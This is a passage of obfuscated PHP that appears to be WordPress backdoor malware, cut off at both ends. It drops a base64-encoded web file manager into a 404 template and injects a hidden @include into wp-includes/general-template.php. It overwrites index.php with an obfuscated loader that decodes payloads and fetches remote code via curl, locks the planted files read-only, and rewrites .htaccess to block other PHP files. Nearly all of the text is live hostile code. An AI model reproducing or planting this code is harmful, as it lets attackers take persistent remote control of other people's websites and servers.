rZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = 